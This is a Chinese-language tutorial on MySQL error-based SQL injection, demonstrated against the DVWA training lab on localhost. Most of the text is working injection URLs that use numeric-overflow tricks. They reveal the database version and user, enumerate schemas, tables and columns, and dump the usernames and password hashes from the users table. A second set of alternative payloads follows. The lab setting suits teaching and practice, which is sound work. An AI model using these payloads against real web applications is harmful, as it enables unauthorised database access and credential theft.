使用DVWA的第一关作为例子讲解一下mysql的新型注入。
第一关链接:http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1&Submit=%C8%B7%B6%A8# ,参数id存在注入
http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1’&Submit=%C8%B7%B6%A8#
可以看到将id参数设为1’时报错了,该处存在mysql的字符型报错注入。下面讲解一下具体如何使用mysql新型报错注入来获取信息。
1、判断是否存在新型报错注入
http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1' and 18446744073709551610*2 and '1'='1&Submit=%C8%B7%B6%A8#
可以看到注入点数据库存在新型报错注入。
2、获取version等信息,如version(),user(),database()等
http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1' and (select!x-~0.FROM(select+version()x)f) and '1'='1&Submit=%C8%B7%B6%A8#
3、暴库
http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1' and (select!x-~0.FROM(select group_concat(SCHEMA_NAME)x from information_schema.SCHEMATA)f)and '1'='1&Submit=%C8%B7%B6%A8#
4、爆表
http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1' and (select!x-~0.FROM(select group_concat(TABLE_NAME)x from information_schema.TABLES where TABLE_SCHEMA='dvwa')f)and '1'='1&Submit=%C8%B7%B6%A8#
5、爆列
http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1' and (select!x-~0.FROM(select group_concat(COLUMN_NAME)x from information_schema.COLUMNS where TABLE_NAME='users')f)and '1'='1&Submit=%C8%B7%B6%A8#
6、爆数据
http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1' and (select!x-~0.FROM(select group_concat(user,':',password)x from dvwa.users)f)and '1'='1&Submit=%C8%B7%B6%A8#
———————————————————————————————————————
下面是测试时的其他语句,不过没有上面那么简洁,使用时使用上面的语句即可。
获取version信息
http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1' and 1E308*if((select*from(select version())x),2,2) and '1'='1&Submit=%C8%B7%B6%A8#
暴库
http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1' and 1E308*if((select SCHEMA_NAME from(select *from information_schema.SCHEMATA LIMIT 0,1)a limit 1),2,2) and '1'='1&Submit=%C8%B7%B6%A8#
只要不断改变上面的limit后面的参数,就可以把所有的库爆出来。
爆表
http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1' and 1E308*if((select TABLE_NAME from(select * from information_schema.TABLES where TABLE_SCHEMA='dvwa' limit 1,1)a limit 1),2,2) and '1'='1&Submit=%C8%B7%B6%A8#
和上面爆库一样,只要不断改变limit后面的数值就可以爆出所有的表。
参考资料:
1、http://www.jinglingshu.org/?p=7343
2、http://www.myhack58.com/Article/html/3/7/2011/30958.htm